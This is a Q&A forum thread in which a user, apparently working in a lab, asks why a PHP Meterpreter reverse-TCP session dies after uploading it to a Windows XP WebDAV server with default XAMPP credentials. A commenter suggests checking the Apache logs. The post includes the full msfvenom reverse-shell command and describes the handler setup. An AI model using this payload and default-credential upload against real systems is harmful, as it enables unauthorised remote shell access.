1

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password).

The command for generating the payload is: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=123 -f raw > meta.php

Now, in msfconsole, I used multi/handler auxiliary module and set the payload, LHOST and LPORT to same as above.

But after running the module with exploit command and opening http://192.168.0.6/webdav/meta.php/ (meta.php is the name of the payload I've created) in the attack machine (which is Kali linux), in the msfconsole, it's showing:

Meterpreter session 1 opened (192.168.0.7:123 -> 192.168.0.6:1279) at 2020-08-25 20:04:48 +0530

192.168.0.6 - Meterpreter session 1 closed. Reason: Died

Why the session is closing or dying? I've tried multiple times but got the same results.

6
  • Look the xaamp logs to see what is wrong. – ThoriumBR Aug 25 '20 at 17:37
  • @ThoriumBR can u guide me a little how to do this as i'm new in all this. – Abhirup Bakshi Aug 25 '20 at 20:06
  • If you cannot find the xaamp log files, you are lacking a lot of skills. Even if the reverse shell works, it will not be very useful for you. Try not following cookbooks online until you have a basic understanding of the tools you will use. – ThoriumBR Aug 25 '20 at 20:25
  • @ThoriumBR is the log file in this path - C:\xampp\apache\logs? – Abhirup Bakshi Aug 26 '20 at 10:47
  • Usually, it's the correct path. Read the logs, investigate the messages, and you will learn more and more. – ThoriumBR Aug 26 '20 at 12:54